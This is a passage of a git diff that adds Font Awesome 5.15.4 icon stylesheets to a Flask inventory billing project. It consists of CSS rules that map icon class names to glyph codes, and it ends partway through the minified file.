+.fa-step-forward:before { + content: "\f051"; } + +.fa-stethoscope:before { + content: "\f0f1"; } + +.fa-sticker-mule:before { + content: "\f3f7"; } + +.fa-sticky-note:before { + content: "\f249"; } + +.fa-stop:before { + content: "\f04d"; } + +.fa-stop-circle:before { + content: "\f28d"; } + +.fa-stopwatch:before { + content: "\f2f2"; } + +.fa-stopwatch-20:before { + content: "\e06f"; } + +.fa-store:before { + content: "\f54e"; } + +.fa-store-alt:before { + content: "\f54f"; } + +.fa-store-alt-slash:before { + content: "\e070"; } + +.fa-store-slash:before { + content: "\e071"; } + +.fa-strava:before { + content: "\f428"; } + +.fa-stream:before { + content: "\f550"; } + +.fa-street-view:before { + content: "\f21d"; } + +.fa-strikethrough:before { + content: "\f0cc"; } + +.fa-stripe:before { + content: "\f429"; } + +.fa-stripe-s:before { + content: "\f42a"; } + +.fa-stroopwafel:before { + content: "\f551"; } + +.fa-studiovinari:before { + content: "\f3f8"; } + +.fa-stumbleupon:before { + content: "\f1a4"; } + +.fa-stumbleupon-circle:before { + content: "\f1a3"; } + +.fa-subscript:before { + content: "\f12c"; } + +.fa-subway:before { + content: "\f239"; } + +.fa-suitcase:before { + content: "\f0f2"; } + +.fa-suitcase-rolling:before { + content: "\f5c1"; } + +.fa-sun:before { + content: "\f185"; } + +.fa-superpowers:before { + content: "\f2dd"; } + +.fa-superscript:before { + content: "\f12b"; } + +.fa-supple:before { + content: "\f3f9"; } + +.fa-surprise:before { + content: "\f5c2"; } + +.fa-suse:before { + content: "\f7d6"; } + +.fa-swatchbook:before { + content: "\f5c3"; } + +.fa-swift:before { + content: "\f8e1"; } + +.fa-swimmer:before { + content: "\f5c4"; } + +.fa-swimming-pool:before { + content: "\f5c5"; } + +.fa-symfony:before { + content: "\f83d"; } + +.fa-synagogue:before { + content: "\f69b"; } + +.fa-sync:before { + content: "\f021"; } + +.fa-sync-alt:before { + content: "\f2f1"; } + +.fa-syringe:before { + content: "\f48e"; } + +.fa-table:before { + content: "\f0ce"; } + +.fa-table-tennis:before { + content: "\f45d"; } + +.fa-tablet:before { + content: "\f10a"; } + +.fa-tablet-alt:before { + content: "\f3fa"; } + +.fa-tablets:before { + content: "\f490"; } + +.fa-tachometer-alt:before { + content: "\f3fd"; } + +.fa-tag:before { + content: "\f02b"; } + +.fa-tags:before { + content: "\f02c"; } + +.fa-tape:before { + content: "\f4db"; } + +.fa-tasks:before { + content: "\f0ae"; } + +.fa-taxi:before { + content: "\f1ba"; } + +.fa-teamspeak:before { + content: "\f4f9"; } + +.fa-teeth:before { + content: "\f62e"; } + +.fa-teeth-open:before { + content: "\f62f"; } + +.fa-telegram:before { + content: "\f2c6"; } + +.fa-telegram-plane:before { + content: "\f3fe"; } + +.fa-temperature-high:before { + content: "\f769"; } + +.fa-temperature-low:before { + content: "\f76b"; } + +.fa-tencent-weibo:before { + content: "\f1d5"; } + +.fa-tenge:before { + content: "\f7d7"; } + +.fa-terminal:before { + content: "\f120"; } + +.fa-text-height:before { + content: "\f034"; } + +.fa-text-width:before { + content: "\f035"; } + +.fa-th:before { + content: "\f00a"; } + +.fa-th-large:before { + content: "\f009"; } + +.fa-th-list:before { + content: "\f00b"; } + +.fa-the-red-yeti:before { + content: "\f69d"; } + +.fa-theater-masks:before { + content: "\f630"; } + +.fa-themeco:before { + content: "\f5c6"; } + +.fa-themeisle:before { + content: "\f2b2"; } + +.fa-thermometer:before { + content: "\f491"; } + +.fa-thermometer-empty:before { + content: "\f2cb"; } + +.fa-thermometer-full:before { + content: "\f2c7"; } + +.fa-thermometer-half:before { + content: "\f2c9"; } + +.fa-thermometer-quarter:before { + content: "\f2ca"; } + +.fa-thermometer-three-quarters:before { + content: "\f2c8"; } + +.fa-think-peaks:before { + content: "\f731"; } + +.fa-thumbs-down:before { + content: "\f165"; } + +.fa-thumbs-up:before { + content: "\f164"; } + +.fa-thumbtack:before { + content: "\f08d"; } + +.fa-ticket-alt:before { + content: "\f3ff"; } + +.fa-tiktok:before { + content: "\e07b"; } + +.fa-times:before { + content: "\f00d"; } + +.fa-times-circle:before { + content: "\f057"; } + +.fa-tint:before { + content: "\f043"; } + +.fa-tint-slash:before { + content: "\f5c7"; } + +.fa-tired:before { + content: "\f5c8"; } + +.fa-toggle-off:before { + content: "\f204"; } + +.fa-toggle-on:before { + content: "\f205"; } + +.fa-toilet:before { + content: "\f7d8"; } + +.fa-toilet-paper:before { + content: "\f71e"; } + +.fa-toilet-paper-slash:before { + content: "\e072"; } + +.fa-toolbox:before { + content: "\f552"; } + +.fa-tools:before { + content: "\f7d9"; } + +.fa-tooth:before { + content: "\f5c9"; } + +.fa-torah:before { + content: "\f6a0"; } + +.fa-torii-gate:before { + content: "\f6a1"; } + +.fa-tractor:before { + content: "\f722"; } + +.fa-trade-federation:before { + content: "\f513"; } + +.fa-trademark:before { + content: "\f25c"; } + +.fa-traffic-light:before { + content: "\f637"; } + +.fa-trailer:before { + content: "\e041"; } + +.fa-train:before { + content: "\f238"; } + +.fa-tram:before { + content: "\f7da"; } + +.fa-transgender:before { + content: "\f224"; } + +.fa-transgender-alt:before { + content: "\f225"; } + +.fa-trash:before { + content: "\f1f8"; } + +.fa-trash-alt:before { + content: "\f2ed"; } + +.fa-trash-restore:before { + content: "\f829"; } + +.fa-trash-restore-alt:before { + content: "\f82a"; } + +.fa-tree:before { + content: "\f1bb"; } + +.fa-trello:before { + content: "\f181"; } + +.fa-trophy:before { + content: "\f091"; } + +.fa-truck:before { + content: "\f0d1"; } + +.fa-truck-loading:before { + content: "\f4de"; } + +.fa-truck-monster:before { + content: "\f63b"; } + +.fa-truck-moving:before { + content: "\f4df"; } + +.fa-truck-pickup:before { + content: "\f63c"; } + +.fa-tshirt:before { + content: "\f553"; } + +.fa-tty:before { + content: "\f1e4"; } + +.fa-tumblr:before { + content: "\f173"; } + +.fa-tumblr-square:before { + content: "\f174"; } + +.fa-tv:before { + content: "\f26c"; } + +.fa-twitch:before { + content: "\f1e8"; } + +.fa-twitter:before { + content: "\f099"; } + +.fa-twitter-square:before { + content: "\f081"; } + +.fa-typo3:before { + content: "\f42b"; } + +.fa-uber:before { + content: "\f402"; } + +.fa-ubuntu:before { + content: "\f7df"; } + +.fa-uikit:before { + content: "\f403"; } + +.fa-umbraco:before { + content: "\f8e8"; } + +.fa-umbrella:before { + content: "\f0e9"; } + +.fa-umbrella-beach:before { + content: "\f5ca"; } + +.fa-uncharted:before { + content: "\e084"; } + +.fa-underline:before { + content: "\f0cd"; } + +.fa-undo:before { + content: "\f0e2"; } + +.fa-undo-alt:before { + content: "\f2ea"; } + +.fa-uniregistry:before { + content: "\f404"; } + +.fa-unity:before { + content: "\e049"; } + +.fa-universal-access:before { + content: "\f29a"; } + +.fa-university:before { + content: "\f19c"; } + +.fa-unlink:before { + content: "\f127"; } + +.fa-unlock:before { + content: "\f09c"; } + +.fa-unlock-alt:before { + content: "\f13e"; } + +.fa-unsplash:before { + content: "\e07c"; } + +.fa-untappd:before { + content: "\f405"; } + +.fa-upload:before { + content: "\f093"; } + +.fa-ups:before { + content: "\f7e0"; } + +.fa-usb:before { + content: "\f287"; } + +.fa-user:before { + content: "\f007"; } + +.fa-user-alt:before { + content: "\f406"; } + +.fa-user-alt-slash:before { + content: "\f4fa"; } + +.fa-user-astronaut:before { + content: "\f4fb"; } + +.fa-user-check:before { + content: "\f4fc"; } + +.fa-user-circle:before { + content: "\f2bd"; } + +.fa-user-clock:before { + content: "\f4fd"; } + +.fa-user-cog:before { + content: "\f4fe"; } + +.fa-user-edit:before { + content: "\f4ff"; } + +.fa-user-friends:before { + content: "\f500"; } + +.fa-user-graduate:before { + content: "\f501"; } + +.fa-user-injured:before { + content: "\f728"; } + +.fa-user-lock:before { + content: "\f502"; } + +.fa-user-md:before { + content: "\f0f0"; } + +.fa-user-minus:before { + content: "\f503"; } + +.fa-user-ninja:before { + content: "\f504"; } + +.fa-user-nurse:before { + content: "\f82f"; } + +.fa-user-plus:before { + content: "\f234"; } + +.fa-user-secret:before { + content: "\f21b"; } + +.fa-user-shield:before { + content: "\f505"; } + +.fa-user-slash:before { + content: "\f506"; } + +.fa-user-tag:before { + content: "\f507"; } + +.fa-user-tie:before { + content: "\f508"; } + +.fa-user-times:before { + content: "\f235"; } + +.fa-users:before { + content: "\f0c0"; } + +.fa-users-cog:before { + content: "\f509"; } + +.fa-users-slash:before { + content: "\e073"; } + +.fa-usps:before { + content: "\f7e1"; } + +.fa-ussunnah:before { + content: "\f407"; } + +.fa-utensil-spoon:before { + content: "\f2e5"; } + +.fa-utensils:before { + content: "\f2e7"; } + +.fa-vaadin:before { + content: "\f408"; } + +.fa-vector-square:before { + content: "\f5cb"; } + +.fa-venus:before { + content: "\f221"; } + +.fa-venus-double:before { + content: "\f226"; } + +.fa-venus-mars:before { + content: "\f228"; } + +.fa-vest:before { + content: "\e085"; } + +.fa-vest-patches:before { + content: "\e086"; } + +.fa-viacoin:before { + content: "\f237"; } + +.fa-viadeo:before { + content: "\f2a9"; } + +.fa-viadeo-square:before { + content: "\f2aa"; } + +.fa-vial:before { + content: "\f492"; } + +.fa-vials:before { + content: "\f493"; } + +.fa-viber:before { + content: "\f409"; } + +.fa-video:before { + content: "\f03d"; } + +.fa-video-slash:before { + content: "\f4e2"; } + +.fa-vihara:before { + content: "\f6a7"; } + +.fa-vimeo:before { + content: "\f40a"; } + +.fa-vimeo-square:before { + content: "\f194"; } + +.fa-vimeo-v:before { + content: "\f27d"; } + +.fa-vine:before { + content: "\f1ca"; } + +.fa-virus:before { + content: "\e074"; } + +.fa-virus-slash:before { + content: "\e075"; } + +.fa-viruses:before { + content: "\e076"; } + +.fa-vk:before { + content: "\f189"; } + +.fa-vnv:before { + content: "\f40b"; } + +.fa-voicemail:before { + content: "\f897"; } + +.fa-volleyball-ball:before { + content: "\f45f"; } + +.fa-volume-down:before { + content: "\f027"; } + +.fa-volume-mute:before { + content: "\f6a9"; } + +.fa-volume-off:before { + content: "\f026"; } + +.fa-volume-up:before { + content: "\f028"; } + +.fa-vote-yea:before { + content: "\f772"; } + +.fa-vr-cardboard:before { + content: "\f729"; } + +.fa-vuejs:before { + content: "\f41f"; } + +.fa-walking:before { + content: "\f554"; } + +.fa-wallet:before { + content: "\f555"; } + +.fa-warehouse:before { + content: "\f494"; } + +.fa-watchman-monitoring:before { + content: "\e087"; } + +.fa-water:before { + content: "\f773"; } + +.fa-wave-square:before { + content: "\f83e"; } + +.fa-waze:before { + content: "\f83f"; } + +.fa-weebly:before { + content: "\f5cc"; } + +.fa-weibo:before { + content: "\f18a"; } + +.fa-weight:before { + content: "\f496"; } + +.fa-weight-hanging:before { + content: "\f5cd"; } + +.fa-weixin:before { + content: "\f1d7"; } + +.fa-whatsapp:before { + content: "\f232"; } + +.fa-whatsapp-square:before { + content: "\f40c"; } + +.fa-wheelchair:before { + content: "\f193"; } + +.fa-whmcs:before { + content: "\f40d"; } + +.fa-wifi:before { + content: "\f1eb"; } + +.fa-wikipedia-w:before { + content: "\f266"; } + +.fa-wind:before { + content: "\f72e"; } + +.fa-window-close:before { + content: "\f410"; } + +.fa-window-maximize:before { + content: "\f2d0"; } + +.fa-window-minimize:before { + content: "\f2d1"; } + +.fa-window-restore:before { + content: "\f2d2"; } + +.fa-windows:before { + content: "\f17a"; } + +.fa-wine-bottle:before { + content: "\f72f"; } + +.fa-wine-glass:before { + content: "\f4e3"; } + +.fa-wine-glass-alt:before { + content: "\f5ce"; } + +.fa-wix:before { + content: "\f5cf"; } + +.fa-wizards-of-the-coast:before { + content: "\f730"; } + +.fa-wodu:before { + content: "\e088"; } + +.fa-wolf-pack-battalion:before { + content: "\f514"; } + +.fa-won-sign:before { + content: "\f159"; } + +.fa-wordpress:before { + content: "\f19a"; } + +.fa-wordpress-simple:before { + content: "\f411"; } + +.fa-wpbeginner:before { + content: "\f297"; } + +.fa-wpexplorer:before { + content: "\f2de"; } + +.fa-wpforms:before { + content: "\f298"; } + +.fa-wpressr:before { + content: "\f3e4"; } + +.fa-wrench:before { + content: "\f0ad"; } + +.fa-x-ray:before { + content: "\f497"; } + +.fa-xbox:before { + content: "\f412"; } + +.fa-xing:before { + content: "\f168"; } + +.fa-xing-square:before { + content: "\f169"; } + +.fa-y-combinator:before { + content: "\f23b"; } + +.fa-yahoo:before { + content: "\f19e"; } + +.fa-yammer:before { + content: "\f840"; } + +.fa-yandex:before { + content: "\f413"; } + +.fa-yandex-international:before { + content: "\f414"; } + +.fa-yarn:before { + content: "\f7e3"; } + +.fa-yelp:before { + content: "\f1e9"; } + +.fa-yen-sign:before { + content: "\f157"; } + +.fa-yin-yang:before { + content: "\f6ad"; } + +.fa-yoast:before { + content: "\f2b1"; } + +.fa-youtube:before { + content: "\f167"; } + +.fa-youtube-square:before { + content: "\f431"; } + +.fa-zhihu:before { + content: "\f63f"; } + +.sr-only { + border: 0; + clip: rect(0, 0, 0, 0); + height: 1px; + margin: -1px; + overflow: hidden; + padding: 0; + position: absolute; + width: 1px; } + +.sr-only-focusable:active, .sr-only-focusable:focus { + clip: auto; + height: auto; + margin: 0; + overflow: visible; + position: static; + width: auto; } diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/fontawesome.min.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/fontawesome.min.css new file mode 100644 index 00000000..bec9b39e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/fontawesome.min.css @@ -0,0 +1,5 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s linear infinite;animation:fa-spin 2s linear infinite}.fa-pulse{-webkit-animation:fa-spin 1s steps(8) infinite;animation:fa-spin 1s steps(8) infinite}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scaleX(-1);transform:scaleX(-1)}.fa-flip-vertical{-webkit-transform:scaleY(-1);transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical,.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1);transform:scale(-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;line-height:2em;position:relative;vertical-align:middle;width:2.5em}.fa-stack-1x,.fa-stack-2x{left:0;position:absolute;text-align:center;width:100%}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-500px:before{content:"\f26e"}.fa-accessible-icon:before{content:"\f368"}.fa-accusoft:before{content:"\f369"}.fa-acquisitions-incorporated:before{content:"\f6af"}.fa-ad:before{content:"\f641"}.fa-address-book:before{content:"\f2b9"}.fa-address-card:before{content:"\f2bb"}.fa-adjust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-adversal:before{content:"\f36a"}.fa-affiliatetheme:before{content:"\f36b"}.fa-air-freshener:before{content:"\f5d0"}.fa-airbnb:before{content:"\f834"}.fa-algolia:before{content:"\f36c"}.fa-align-center:before{content:"\f037"}.fa-align-justify:before{content:"\f039"}.fa-align-left:before{content:"\f036"}.fa-align-right:before{content:"\f038"}.fa-alipay:before{content:"\f642"}.fa-allergies:before{content:"\f461"}.fa-amazon:before{content:"\f270"}.fa-amazon-pay:before{content:"\f42c"}.fa-ambulance:before{content:"\f0f9"}.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-amilia:before{content:"\f36d"}.fa-anchor:before{content:"\f13d"}.fa-android:before{content:"\f17b"}.fa-angellist:before{content:"\f209"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-down:before{content:"\f107"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angry:before{content:"\f556"}.fa-angrycreative:before{content:"\f36e"}.fa-angular:before{content:"\f420"}.fa-ankh:before{content:"\f644"}.fa-app-store:before{content:"\f36f"}.fa-app-store-ios:before{content:"\f370"}.fa-apper:before{content:"\f371"}.fa-apple:before{content:"\f179"}.fa-apple-alt:before{content:"\f5d1"}.fa-apple-pay:before{content:"\f415"}.fa-archive:before{content:"\f187"}.fa-archway:before{content:"\f557"}.fa-arrow-alt-circle-down:before{content:"\f358"}.fa-arrow-alt-circle-left:before{content:"\f359"}.fa-arrow-alt-circle-right:before{content:"\f35a"}.fa-arrow-alt-circle-up:before{content:"\f35b"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-down:before{content:"\f063"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrows-alt:before{content:"\f0b2"}.fa-arrows-alt-h:before{content:"\f337"}.fa-arrows-alt-v:before{content:"\f338"}.fa-artstation:before{content:"\f77a"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asterisk:before{content:"\f069"}.fa-asymmetrik:before{content:"\f372"}.fa-at:before{content:"\f1fa"}.fa-atlas:before{content:"\f558"}.fa-atlassian:before{content:"\f77b"}.fa-atom:before{content:"\f5d2"}.fa-audible:before{content:"\f373"}.fa-audio-description:before{content:"\f29e"}.fa-autoprefixer:before{content:"\f41c"}.fa-avianex:before{content:"\f374"}.fa-aviato:before{content:"\f421"}.fa-award:before{content:"\f559"}.fa-aws:before{content:"\f375"}.fa-baby:before{content:"\f77c"}.fa-baby-carriage:before{content:"\f77d"}.fa-backspace:before{content:"\f55a"}.fa-backward:before{content:"\f04a"}.fa-bacon:before{content:"\f7e5"}.fa-bacteria:before{content:"\e059"}.fa-bacterium:before{content:"\e05a"}.fa-bahai:before{content:"\f666"}.fa-balance-scale:before{content:"\f24e"}.fa-balance-scale-left:before{content:"\f515"}.fa-balance-scale-right:before{content:"\f516"}.fa-ban:before{content:"\f05e"}.fa-band-aid:before{content:"\f462"}.fa-bandcamp:before{content:"\f2d5"}.fa-barcode:before{content:"\f02a"}.fa-bars:before{content:"\f0c9"}.fa-baseball-ball:before{content:"\f433"}.fa-basketball-ball:before{content:"\f434"}.fa-bath:before{content:"\f2cd"}.fa-battery-empty:before{content:"\f244"}.fa-battery-full:before{content:"\f240"}.fa-battery-half:before{content:"\f242"}.fa-battery-quarter:before{content:"\f243"}.fa-battery-three-quarters:before{content:"\f241"}.fa-battle-net:before{content:"\f835"}.fa-bed:before{content:"\f236"}.fa-beer:before{content:"\f0fc"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-bell:before{content:"\f0f3"}.fa-bell-slash:before{content:"\f1f6"}.fa-bezier-curve:before{content:"\f55b"}.fa-bible:before{content:"\f647"}.fa-bicycle:before{content:"\f206"}.fa-biking:before{content:"\f84a"}.fa-bimobject:before{content:"\f378"}.fa-binoculars:before{content:"\f1e5"}.fa-biohazard:before{content:"\f780"}.fa-birthday-cake:before{content:"\f1fd"}.fa-bitbucket:before{content:"\f171"}.fa-bitcoin:before{content:"\f379"}.fa-bity:before{content:"\f37a"}.fa-black-tie:before{content:"\f27e"}.fa-blackberry:before{content:"\f37b"}.fa-blender:before{content:"\f517"}.fa-blender-phone:before{content:"\f6b6"}.fa-blind:before{content:"\f29d"}.fa-blog:before{content:"\f781"}.fa-blogger:before{content:"\f37c"}.fa-blogger-b:before{content:"\f37d"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-bold:before{content:"\f032"}.fa-bolt:before{content:"\f0e7"}.fa-bomb:before{content:"\f1e2"}.fa-bone:before{content:"\f5d7"}.fa-bong:before{content:"\f55c"}.fa-book:before{content:"\f02d"}.fa-book-dead:before{content:"\f6b7"}.fa-book-medical:before{content:"\f7e6"}.fa-book-open:before{content:"\f518"}.fa-book-reader:before{content:"\f5da"}.fa-bookmark:before{content:"\f02e"}.fa-bootstrap:before{content:"\f836"}.fa-border-all:before{content:"\f84c"}.fa-border-none:before{content:"\f850"}.fa-border-style:before{content:"\f853"}.fa-bowling-ball:before{content:"\f436"}.fa-box:before{content:"\f466"}.fa-box-open:before{content:"\f49e"}.fa-box-tissue:before{content:"\e05b"}.fa-boxes:before{content:"\f468"}.fa-braille:before{content:"\f2a1"}.fa-brain:before{content:"\f5dc"}.fa-bread-slice:before{content:"\f7ec"}.fa-briefcase:before{content:"\f0b1"}.fa-briefcase-medical:before{content:"\f469"}.fa-broadcast-tower:before{content:"\f519"}.fa-broom:before{content:"\f51a"}.fa-brush:before{content:"\f55d"}.fa-btc:before{content:"\f15a"}.fa-buffer:before{content:"\f837"}.fa-bug:before{content:"\f188"}.fa-building:before{content:"\f1ad"}.fa-bullhorn:before{content:"\f0a1"}.fa-bullseye:before{content:"\f140"}.fa-burn:before{content:"\f46a"}.fa-buromobelexperte:before{content:"\f37f"}.fa-bus:before{content:"\f207"}.fa-bus-alt:before{content:"\f55e"}.fa-business-time:before{content:"\f64a"}.fa-buy-n-large:before{content:"\f8a6"}.fa-buysellads:before{content:"\f20d"}.fa-calculator:before{content:"\f1ec"}.fa-calendar:before{content:"\f133"}.fa-calendar-alt:before{content:"\f073"}.fa-calendar-check:before{content:"\f274"}.fa-calendar-day:before{content:"\f783"}.fa-calendar-minus:before{content:"\f272"}.fa-calendar-plus:before{content:"\f271"}.fa-calendar-times:before{content:"\f273"}.fa-calendar-week:before{content:"\f784"}.fa-camera:before{content:"\f030"}.fa-camera-retro:before{content:"\f083"}.fa-campground:before{content:"\f6bb"}.fa-canadian-maple-leaf:before{content:"\f785"}.fa-candy-cane:before{content:"\f786"}.fa-cannabis:before{content:"\f55f"}.fa-capsules:before{content:"\f46b"}.fa-car:before{content:"\f1b9"}.fa-car-alt:before{content:"\f5de"}.fa-car-battery:before{content:"\f5df"}.fa-car-crash:before{content:"\f5e1"}.fa-car-side:before{content:"\f5e4"}.fa-caravan:before{content:"\f8ff"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-caret-square-down:before{content:"\f150"}.fa-caret-square-left:before{content:"\f191"}.fa-caret-square-right:before{content:"\f152"}.fa-caret-square-up:before{content:"\f151"}.fa-caret-up:before{content:"\f0d8"}.fa-carrot:before{content:"\f787"}.fa-cart-arrow-down:before{content:"\f218"}.fa-cart-plus:before{content:"\f217"}.fa-cash-register:before{content:"\f788"}.fa-cat:before{content:"\f6be"}.fa-cc-amazon-pay:before{content:"\f42d"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-apple-pay:before{content:"\f416"}.fa-cc-diners-club:before{content:"\f24c"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-cc-visa:before{content:"\f1f0"}.fa-centercode:before{content:"\f380"}.fa-centos:before{content:"\f789"}.fa-certificate:before{content:"\f0a3"}.fa-chair:before{content:"\f6c0"}.fa-chalkboard:before{content:"\f51b"}.fa-chalkboard-teacher:before{content:"\f51c"}.fa-charging-station:before{content:"\f5e7"}.fa-chart-area:before{content:"\f1fe"}.fa-chart-bar:before{content:"\f080"}.fa-chart-line:before{content:"\f201"}.fa-chart-pie:before{content:"\f200"}.fa-check:before{content:"\f00c"}.fa-check-circle:before{content:"\f058"}.fa-check-double:before{content:"\f560"}.fa-check-square:before{content:"\f14a"}.fa-cheese:before{content:"\f7ef"}.fa-chess:before{content:"\f439"}.fa-chess-bishop:before{content:"\f43a"}.fa-chess-board:before{content:"\f43c"}.fa-chess-king:before{content:"\f43f"}.fa-chess-knight:before{content:"\f441"}.fa-chess-pawn:before{content:"\f443"}.fa-chess-queen:before{content:"\f445"}.fa-chess-rook:before{content:"\f447"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-down:before{content:"\f078"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-chevron-up:before{content:"\f077"}.fa-child:before{content:"\f1ae"}.fa-chrome:before{content:"\f268"}.fa-chromecast:before{content:"\f838"}.fa-church:before{content:"\f51d"}.fa-circle:before{content:"\f111"}.fa-circle-notch:before{content:"\f1ce"}.fa-city:before{content:"\f64f"}.fa-clinic-medical:before{content:"\f7f2"}.fa-clipboard:before{content:"\f328"}.fa-clipboard-check:before{content:"\f46c"}.fa-clipboard-list:before{content:"\f46d"}.fa-clock:before{content:"\f017"}.fa-clone:before{content:"\f24d"}.fa-closed-captioning:before{content:"\f20a"}.fa-cloud:before{content:"\f0c2"}.fa-cloud-download-alt:before{content:"\f381"}.fa-cloud-meatball:before{content:"\f73b"}.fa-cloud-moon:before{content:"\f6c3"}.fa-cloud-moon-rain:before{content:"\f73c"}.fa-cloud-rain:before{content:"\f73d"}.fa-cloud-showers-heavy:before{content:"\f740"}.fa-cloud-sun:before{content:"\f6c4"}.fa-cloud-sun-rain:before{content:"\f743"}.fa-cloud-upload-alt:before{content:"\f382"}.fa-cloudflare:before{content:"\e07d"}.fa-cloudscale:before{content:"\f383"}.fa-cloudsmith:before{content:"\f384"}.fa-cloudversify:before{content:"\f385"}.fa-cocktail:before{content:"\f561"}.fa-code:before{content:"\f121"}.fa-code-branch:before{content:"\f126"}.fa-codepen:before{content:"\f1cb"}.fa-codiepie:before{content:"\f284"}.fa-coffee:before{content:"\f0f4"}.fa-cog:before{content:"\f013"}.fa-cogs:before{content:"\f085"}.fa-coins:before{content:"\f51e"}.fa-columns:before{content:"\f0db"}.fa-comment:before{content:"\f075"}.fa-comment-alt:before{content:"\f27a"}.fa-comment-dollar:before{content:"\f651"}.fa-comment-dots:before{content:"\f4ad"}.fa-comment-medical:before{content:"\f7f5"}.fa-comment-slash:before{content:"\f4b3"}.fa-comments:before{content:"\f086"}.fa-comments-dollar:before{content:"\f653"}.fa-compact-disc:before{content:"\f51f"}.fa-compass:before{content:"\f14e"}.fa-compress:before{content:"\f066"}.fa-compress-alt:before{content:"\f422"}.fa-compress-arrows-alt:before{content:"\f78c"}.fa-concierge-bell:before{content:"\f562"}.fa-confluence:before{content:"\f78d"}.fa-connectdevelop:before{content:"\f20e"}.fa-contao:before{content:"\f26d"}.fa-cookie:before{content:"\f563"}.fa-cookie-bite:before{content:"\f564"}.fa-copy:before{content:"\f0c5"}.fa-copyright:before{content:"\f1f9"}.fa-cotton-bureau:before{content:"\f89e"}.fa-couch:before{content:"\f4b8"}.fa-cpanel:before{content:"\f388"}.fa-creative-commons:before{content:"\f25e"}.fa-creative-commons-by:before{content:"\f4e7"}.fa-creative-commons-nc:before{content:"\f4e8"}.fa-creative-commons-nc-eu:before{content:"\f4e9"}.fa-creative-commons-nc-jp:before{content:"\f4ea"}.fa-creative-commons-nd:before{content:"\f4eb"}.fa-creative-commons-pd:before{content:"\f4ec"}.fa-creative-commons-pd-alt:before{content:"\f4ed"}.fa-creative-commons-remix:before{content:"\f4ee"}.fa-creative-commons-sa:before{content:"\f4ef"}.fa-creative-commons-sampling:before{content:"